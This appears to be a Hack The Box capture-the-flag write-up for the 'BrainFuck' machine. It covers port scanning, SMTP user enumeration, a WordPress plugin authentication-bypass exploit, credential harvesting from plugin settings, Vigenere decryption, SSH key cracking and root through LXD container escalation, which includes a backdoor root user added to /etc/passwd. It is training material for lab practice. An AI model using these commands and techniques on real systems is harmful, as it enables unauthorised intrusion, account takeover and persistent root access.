Hack The Box BrainFuck writeup [LXD group Privesc]
BrainFuck is an insane rated box that required a WordPress exploit for initial foothold and LXD group privilege escalation(unintended) for root.
Let’s just jump in.
Let’s start with a quick Nmap scan to discover open ports
nmap -T4 -sC -sV 10.10.10.17
- -sC: Specifies Nmap to run default scripts
- -sV: Specifies Nmap to run service and version detection
Nmap returns the following output:
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-25 09:08 EST
Stats: 0:00:14 elapsed; 0 hosts completed (1 up), 1 undergoing
Nmap scan report for 10.10.10.17
Host is up (0.043s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| 2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
| 256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_ 256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: CAPA SASL(PLAIN) TOP RESP-CODES USER AUTH-RESP-CODE PIPELINING UIDL
143/tcp open imap Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS more have OK LITERAL+ ENABLE IMAP4rev1 AUTH=PLAINA0001 capabilities SASL-IR IDLE listed ID post-login Pre-login
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after: 2027-04-11T11:19:29
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.39 seconds
We have the following ports open:
- Port 22 — SSH OpenSSH 7.2p2 Ubuntu
- Port 25 — SMTP Postfix SMTPD
- Port 110 — POP3
- Port 143 — IMAP(Dovecot IMAPD)
- Port 443 — HTTPS
The nmap scan reveals three possible hostnames: brainfuck.htb, www.brainfuck.htb and sup3rs3cr3t.brainfuck.htb.
Add the domains to /etc/hosts file.
10.10.10.17 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb
Let’s begin enumerating the box. We will start with SSH.
- Port 22 SSH
We have OpenSSH 7.2p2 running on an Ubuntu box. A simple google search reveals that the box is probably Ubuntu Xenial.
1:7.2p2-4ubuntu2.6 : openssh package : Ubuntu
openssh-server-udeb: secure shell server for the Debian installer This is the portable version of OpenSSH, a free…
The SSH version is not associated with some serious vulnerability and SSH being a comparatively secure service, there is a very low probability of it being an attack vector.
- Port 25 SMTP
SMTP stands for Simple Mail Transfer Protocol, which is a communication protocol for electronic mail transmission. You can read more about SMTP here:
Simple Mail Transfer Protocol
The Simple Mail Transfer Protocol ( SMTP) is a communication protocol for electronic mail transmission. As an Internet…
SMTP can be used to enumerate usernames or read emails of a valid user. As we do not have any username at the moment we will leave this port for the time being. You can run a python script in the background to automate the process of username enumeration. The following python script takes a filename(containing usernames) as input and then brute-forces the SMTP port to enumerate usernames via the VRFY command.
if len(sys.argv) != 2:
print "Usage: vrfy.py file"
# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# Connect to the Server
connect = s.connect(('10.11.1.17',25))# Receive the banner
banner = s.recv(1024)
print banner# VRFY a user
file = open(sys.argv,'r')
lines = file.readlines()
file.close()# Strips the newline character
for line in lines:
s.send('VRFY ' + user + '\r\n')
result = s.recv(1024)
print result# Close the socket
- Port 110 — POP3
POP3 (Post Office Protocol 3) is the most recent version of a standard protocol for receiving e-mail. POP3 is a client/server protocol in which e-mail is received and held for you by your Internet server. As we do not have valid credentials, we will leave this port for now. You can read more about POP3 here:
Post Office Protocol
In computing, the Post Office Protocol ( POP) is an application-layer Internet standard protocol used by e-mail clients…
POP3 vs IMAP and SMTP: Understanding the Differences
If you're wondering how email works, knowing the differences between POP3 vs IMAP and the role of SMTP is an excellent…
- Port 143 — IMAP
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server but allows the end-user to view and manipulate the messages as though they were stored locally on the end user’s computing device. As we do not have valid credentials at the moment, we will leave this port for now.
- Port 443 — HTTPS
This leaves us with a single port to enumerate. Everyone has their own methodology and I personally prefer checking HTTP & HTTPS at last as it has a wide range of attack vectors and I want to be dead sure that I do not have anything else to enumerate besides the web service.
Let’s visit the webpage in a browser. We get a default Welcome to Nginx page. Let’s check the SSL certificate as it might reveal hostnames and emails.
We have three hostnames and an email firstname.lastname@example.org. As we had already added the hostnames to the /etc/hosts file from our NMAP results, we can now visit them in a web browser.
First, let’s visit brainfuck.htb. After adding a security exception, we get the following webpage.
The website is built on WordPress and WordPress is infamous for a lot of vulnerable plugins and themes. We can scan it with wpscan if required, but first, let’s check the other hostname.
sup3rs3cr3t.brainfuck.htb returns following webpage.
As we do not have anything interesting it’s time to bring up wpscan. I used tee to create a log file so that I have the output available for later use. Tee is a command-line utility that uses standard streams that read standard input and write it to both standard output and one or more files.
wpscan --url https://brainfuck.htb --disable-tls-checks --enumerate u | tee wpscan.log
- — disable-tls-checks skips SSL TLS checks
- — enumerate u is used for enumerating usernames
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan Team
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N][+] URL: https://brainfuck.htb/ [10.10.10.17]
[+] Started: Fri Jan 29 12:40:43 2021Interesting Finding(s):[+] Headers
| Interesting Entry: Server: nginx/1.10.0 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%[+] XML-RPC seems to be enabled: https://brainfuck.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access[+] WordPress readme found: https://brainfuck.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%[+] The external WP-Cron seems to be enabled: https://brainfuck.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06).
| Found By: Rss Generator (Passive Detection)
| - https://brainfuck.htb/?feed=rss2, <generator>https://wordpress.org/?v=4.7.3</generator>
| - https://brainfuck.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.7.3</generator>[+] WordPress theme in use: proficient
| Location: https://brainfuck.htb/wp-content/themes/proficient/
| Last Updated: 2020-12-21T00:00:00.000Z
| Readme: https://brainfuck.htb/wp-content/themes/proficient/readme.txt
| [!] The version is out of date, the latest version is 3.0.39
| Style URL: https://brainfuck.htb/wp-content/themes/proficient/style.css?ver=4.7.3
| Style Name: Proficient
| Description: Proficient is a Multipurpose WordPress theme with lots of powerful features, instantly giving a prof...
| Author: Specia
| Author URI: https://speciatheme.com/
| Found By: Css Style In Homepage (Passive Detection)
| Version: 1.0.6 (80% confidence)
| Found By: Style (Passive Detection)
| - https://brainfuck.htb/wp-content/themes/proficient/style.css?ver=4.7.3, Match: 'Version: 1.0.6'[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] Plugin(s) Identified:[+] wp-support-plus-responsive-ticket-system
| Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
| Last Updated: 2019-09-03T07:57:00.000Z
| [!] The version is out of date, the latest version is 9.1.2
| Found By: Urls In Homepage (Passive Detection)
| Version: 7.1.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt[+] Enumerating Users (via Passive and Aggressive Methods)Brute Forcing Author IDs -: |==================================================================================================================|[i] User(s) Identified:[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)[+] administrator
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)[+] Enumerating Config Backups (via Passive and Aggressive Methods)Checking Config Backups -: |===================================================================================================================|[i] No Config Backups Found.[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register[+] Finished: Fri Jan 29 12:41:08 2021
[+] Requests Done: 54
[+] Cached Requests: 5
[+] Data Sent: 11.919 KB
[+] Data Received: 161.386 KB
[+] Memory used: 210.707 MB
[+] Elapsed time: 00:00:24
Wpscan returns a few interesting things. We have two usernames admin and administrator. We have also identified a vulnerable plugin Wp support plus Version: 7.1.3.
Let’s check if the vulnerable plugin has any public exploits available.
We have a SQL injection exploit but the exploit requires authentication. We also have a Privilege escalation exploit. To copy the exploit to our current working directory use the -m flag of searchsploit.
searchsploit -m 41006
The vulnerable plugin allows us to steal a WordPress cookie. We can log in as anyone without knowing the password because of incorrect usage of wp_set_auth_cookie() function.
The exploit consists of an HTML POC code. Copy the POC to an HTML file and change the website to brainfuck.htb, username to admin and email to email@example.com.
Open the HTML file in a browser and hit Login. Refresh the brainfuck.htb webpage.
We are Logged In…!!!
WordPress is a CMS based on PHP. The first thing I checked was if I had the permissions to modify the theme files(PHP files). Go to Appearance->Editor to check if we can edit PHP files included with the theme to get code execution. We do not.
Since we do not have permissions to alter the PHP code we cannot use this to add a PHP reverse shell. Next, we should check what plugins are installed.
We have Easy WP SMTP installed. Let’s check its configurations by clicking on Settings.
We have the SMTP password for ‘Orestis’ user. We can easily unhide the characters by inspecting the password field and removing the type= “password” from the input tag or We can simply check the source code with CTRL + u.
As we have valid credentials now, let’s Login to POP3. This can be done with telnet or netcat.
nc -nvC 10.10.10.17 110
POP3 allows a SMTP user to login with USER and PASS commands.
USER orestisPASS kHGuERB29DNiNE
We can view emails for Orestis user with the LIST command.
We have two emails in the mailbox. To read an email, use the RETR command followed by the mail id/number.
RETR 1RETR 2
The second mail contains credentials to the secret forum.
Login to https://sup3rs3cr3t.brainfuck.htb/ with the credentials(orestis/kIEnnfEKJ#9UmdO).
We are logged in as Orestis. Looking around the forum we find a heated conversation regarding SSH keys. Based on the comments made, Orestis seems to have lost his SSH key and wants the admin to send it to him in an encrypted thread. One important thing to notice is that Orestis always signs his message with the “Orestis — Hacking for fun and profit” phrase.
We also have another conversation that seems to be encrypted. The encrypted thread also has the signing message of Orestis user but the characters seem to be replaced. This is probably some replacement cipher. Cryptography is not my forte and it took me several hours to identify the cipher. The cipher used here is called Vigenere Cipher.
Crack the cipher with https://cryptii.com. Remove any spaces and hyphens from the message ‘Orestis — Hacking for fun and profit’. Paste the line to the key field and the ciphered version to cyphertext as follows.
We get the cipher key as fuckmybrain. We can use this key to decrypt all the messages.
Change the key to fuckmybrain and decrypt the conversation that seems to be containing a URL.
CRACKED…!!! We have a URL. Opening the URL provides us a SSH private key.
There you go you stupid fuck, I hope you remember your key password because I dont :)https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
Copy the SSH key and save it to a file. We have a private SSH key that can be used to login to Orestis user. You can read more about SSH keys here:
How To Set Up SSH Keys | DigitalOcean
SSH keys provide a more secure way of logging into a virtual private server with SSH than using a password alone. With…
We still have one more hurdle to pass. The SSH key is encrypted and to log in, as Orestis we need to provide a passphrase. Thankfully we can crack the SSH key with john. To convert the SSH key to John The Ripper format we will use a tool called ssh2john.
python2 /usr/share/john/ssh2john.py id_rsa > crack
We get a long hash. We can crack the hash with John The Ripper.
sudo john crack — wordlist=/usr/share/wordlists/rockyou.txt
Success. We have cracked the key. The passphrase is 3poulakia!
Login with SSH. Don’t forget to change the permission of the key file.
chmod 600 id_rsassh -i id_rsa firstname.lastname@example.org
Enter the passphrase 3poulakia!
We are in. Finally. We are Orestis user.
The intended path required cracking a file in the home directory of Orestis to get the root flag, but I decided to go down the unintended way for two reasons. Number 1: I suck at crypto and finding the type of cipher would be a pain. Number 2: There is no fun in retrieving the root flag, I want a root shell on the box.
So let’s walk down the unintended path. For the intended path you can check IPPSEC’s video.
I like to check for low hanging fruits like SUID, SUDO, Cron Jobs and Groups, before running automated tools.
SUID : find / -perm -4000 -ls 2>/dev/nullSUDO : sudo -lCron: crontab -l OR cat /etc/cron*Groups: groups
We do get something interesting while checking for Groups. We are a member of lxd group, which can be used to mount the entire filesystem.
We will have to create a lxc image to escalate. We will build an alpine image on our attack machine and then transfer the image to brainfuck box.
Let’s begin the process of building the image. Update the repositories and install the requirements.
sudo apt updatesudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
Clone the distrobuilder repository with golang.
go get -d -v github.com/lxc/distrobuilder
Once the repo is cloned, use the following commands to make the distrobuilder.
Now we need to create an alpine image. Use the following commands to create an alpine image.
mkdir -p $HOME/ContainerImages/alpine/cd $HOME/ContainerImages/alpine/wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
Create the alpine container with following command.
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
We now have a working alpine container. We need to transfer the lxd.tar.xz and rootfs.squashfs to victim machine.
Spawn a Python webserver in the directory containing our lxd.tar.xz and rootfs.squashfs and download on victim machine with wget.
In victim machine type in the following commands to add the alpine image.
lxc image import lxd.tar.xz rootfs.squashfs — alias alpinelxd initlxc image list
We must see our image with the last command. Now we need to create a container and add the root path.
lxc init alpine privesc -c security.privileged=truelxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Our alpine container has been created. Execute the container as follows.
lxc start privesclxc exec privesc /bin/sh
The file system has been mounted to /mnt/root. Navigate to the /mnt directory.
We can see the entire filesystem here. We have mounted the entire filesystem but remember we are root within the container and exiting the container would result in dropping privileges to the Orestis user. There are a lot of ways to gain root shell. We can modify the /etc/sudoers file or write a SSH public key to /mnt/root/root/.ssh/authorized_keys. I would like to add a new user.
In our attack machine, create a salted hash with openssl.
openssl passwd -1 -salt hack pass123
Add the hack user to the /etc/passwd file. Remember the /etc/passwd file will be located at /mnt/root/etc/passwd. We can transfer the passwd file to our attack machine and add the user as follows.
echo 'hack:$1$hack$22.CgYt2uMolqeatCk9ih/:0:0:root:/root:/bin/bash' >> passwd
Alternatively we can use cat to write to the /etc/passwd file at /mnt/root/etc/passwd.
cat <<'EOF'>passwd"PASTE THE ENTIRE PASSWD FILE WITH HACK USER"EOF
We have now added our user. Exit the container and switch to hack user.
Enter password pass123. We get a root shell…!!!!
We can now grab the user and root flags. I personally believe that retrieving flags should not be our end goal and we should always try to get a root shell on the box. With that being said, Thank You for reading.
For suggestions/queries reach out to me on Twitter @accesscheck.